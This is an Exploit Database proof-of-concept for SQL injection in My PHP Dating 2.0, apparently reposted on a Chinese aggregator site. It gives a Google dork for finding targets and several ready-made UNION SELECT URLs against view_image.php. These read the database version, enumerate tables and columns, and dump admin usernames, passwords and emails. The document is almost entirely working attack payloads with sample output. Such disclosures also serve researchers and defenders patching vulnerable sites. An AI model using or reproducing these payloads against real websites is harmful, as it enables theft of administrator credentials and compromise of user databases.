My PHP Dating 2.0 – ‘path’ SQL Injection

• Exploit Database
• 20 阅读

• 作者： Ihsan Sencan
  日期： 2017-01-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40999/

• # # # # # 
  # Vulnerability: My Php Dating 2.0 - SQL Injection Web Vulnerability
  # Google Dork: My Php Dating
  # Date:09.01.2017
  # Vendor Homepage: http://www.phponlinedatingsoftware.com/demo.htm
  # Script Name: My Php Dating
  # Script Version: 2.0
  # Script Buy Now: http://www.phponlinedatingsoftware.com/order.htm
  # Author: Ihsan Sencan
  # Author Web: http://ihsan.net
  # Mail : ihsan[beygir]ihsan[nokta]net
  # # # # # 
  # SQL Injection/Exploit :
  # http://localhost/[PATH]/view_image.php?path=[SQL]
  # # # # # 
  
  
  --------------------------------------------------
  Note:
  
  Rate: 0/10 [Rate Picture] <<<Link
  --------------------------------------------------
  http://localhost/[PATH]/view_image.php?path=-124 union select 1,version(),3,4,5,6,7,8,9
  Version: javascript:%20ajax_rate_pic(5.5.52-cll,1,1)
  --------------------------------------------------
  http://localhost/[PATH]/view_image.php?path=-124+union+select+1,group_concat(admin_id,admin_uname,admin_pass,admin_email),3,4,5,6,7,8,9+from+admin_master--
  
  --------------------------------------------------
  http://localhost/[PATH]/view_image.php?path=-124+union+select+1,group_concat(column_name),3,4,5,6,7,8,9+from+information_schema.columns+where+table_schema=database()--
  
  --------------------------------------------------
  http://localhost/[PATH]/view_image.php?path=-124+union+select+1,group_concat(table_name),3,4,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--